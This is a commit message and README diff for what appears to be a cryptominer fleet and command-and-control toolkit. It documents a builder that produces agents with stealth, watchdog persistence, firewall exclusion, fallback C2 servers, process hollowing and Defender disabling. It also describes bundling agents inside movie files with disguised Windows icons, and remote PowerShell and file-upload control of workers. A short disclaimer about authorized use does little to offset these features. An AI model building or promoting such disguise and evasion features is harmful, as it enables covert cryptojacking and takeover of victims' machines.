Expand test coverage across server, agent, and web; fix bugs found during audit.

Adds hundreds of unit/integration/e2e tests, fixes WS bcrypt auth, config merge, fleet analytics, agent schedule/log tail, and documents stale PROBLEMS items. Updates PROBLEMS.md, README, and test scripts; ignores local spread-kits and coverage dirs.

README.md

@@ -66,9 +66,10 @@ You configure defaults once in **Calibrate**. You forge once per machine (or bat
 
 ### Fleet Roster (Agents)
 - Every connected worker — hostname, IP, cores, memory, uptime
+- **Compact rows** — list shows name, status, hashrate, and IP; click a row to expand inline details and compact remote actions (same expand-on-click pattern on Command Deck agent cards)
 - Hashrate history charts
-- Remote control panel — mining ops, recon commands, PowerShell terminal, file upload
-- Agent log viewer (when file logging is enabled)
+- Remote control panel — mining ops, recon commands, PowerShell terminal, file upload (**disabled while agent is offline** — intentional; commands require a live WebSocket)
+- Agent log viewer — **Fetch Log** (`get_log` command) when file logging is enabled; AI autonomy can also push log tails via the `upload_log` tool report (no separate log-ingest REST API)
 - Fleet filters, bulk commands, notes/tags
 
 ### Forge (Miner Builder)
@@ -81,6 +82,7 @@ You configure defaults once in **Calibrate**. You forge once per machine (or bat
 - **Movie fusion** — upload `.mp4` / `.mkv` / `.mov` (or any supported file); two delivery modes (see below)
 - **Batch forge** — queue many files; progress bar; one ZIP per file — **Cancel Batch** kills the in-flight server compile immediately via cancel token
 - **Kill Build** button — single-build cancel that terminates the server-side compiler mid-flight
+- **Windows icon disguise** — Fusion/forge can patch PE icons via [go-winres](https://github.com/tc-hib/go-winres). `run.bat` installs it to PATH when missing; the builder also invokes it via `go run github.com/tc-hib/go-winres` (vendored in `server/go.mod`). If go-winres is absent, forge still succeeds but icon/version disguise is skipped.
 - Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
 - **Backup pools** (advanced) — list of fallback Stratum pools baked into the agent; tried in order if the primary is unreachable
 - **Backup server URLs** (advanced) — list of fallback C2 addresses baked into the agent; used if the primary goes dark
@@ -96,6 +98,8 @@ You configure defaults once in **Calibrate**. You forge once per machine (or bat
 
 Agents report `platform`, `arch`, and `os_version` on connect. The dashboard shows OS badges; Windows-only capabilities (process hollowing, Defender off) are gated in the UI and at runtime.
 
+**Mesh P2P:** Enable **Mesh Networking** in Forge to bake peer routing. The server forge pipeline adds `-tags p2p` automatically. Manual `go build` of `agent/` without Forge must pass `-tags p2p` when mesh is enabled — default builds use a no-op stub (`agent/client/mesh_p2p_stub.go`).
+
 **Requirements:** Control server can run on Windows (forge host). Workers: Windows 10+, mainstream Linux (amd64/arm64), macOS 11+ (Intel or Apple Silicon).
 
 ### Movie Fusion (detailed)
@@ -123,6 +127,20 @@ fusion-deliverables/Vacation/
 
 **Upload limits:** prep / video uploads capped at **2 GiB** (`FusionMaxUploadBytes`).
 
+### Dashboard navigation
+
+| Nav label | Route | Component |
+|-----------|-------|-----------|
+| Command Deck | `/dashboard` | `DashboardPage` |
+| Fleet Roster | `/agents` | `AgentsPage` |
+| Forge | `/forge` | `BuilderPage` |
+| Crucible | `/crucible` | `CruciblePage` |
+| Builds | `/builds` | `BuildManagerPage` |
+| Field Guide | `/guide` | `GuidePage` |
+| Calibrate | `/settings` | `SettingsPage` |
+
+There is no separate `CalibratePage` — **Calibrate** is the nav label for the settings route.
+
 ### Calibrate (Settings)
 - Server port, public URL, data retention, max agents
 - Default pool + wallet for new forge forms
@@ -178,7 +196,7 @@ Save this — it is not shown again.  Change it in Calibrate → Users.
 =================
 ```
 
-Subsequent runs load credentials from `data/users.json`.  Change or add users under **Calibrate → Users**.
+Subsequent runs load credentials from `data/users.json` (bcrypt hashes only — cost 12). Legacy plain-text entries from older installs are auto-migrated to bcrypt on startup and on next successful login via `checkPassword` in `server/internal/api/router.go`. Change or add users under **Calibrate → Users**.
 
 **API auth summary**
 
@@ -358,6 +376,7 @@ By using this software you agree that:
 
 ### Security responsibility
 
+- **`data/users.json`** stores **bcrypt password hashes**, not plaintext. First-run generates a random admin password (shown once in the console). Any legacy plain-text values are re-hashed on load/login. Restrict who can reach the dashboard — authenticated users can manage accounts via `POST /users`.
 - Protect the dashboard with **strong user passwords** and **network isolation**. Do not expose port 8989 to the open internet without VPN or reverse-proxy auth.
 - Remote command features (`powershell`, `exec`, file upload) are **full control** of a worker. Treat your control server like root access to every machine in the fleet.
 - Movie fusion and prep fusion are for **authorized distribution scenarios only** — misleading packaging is misuse.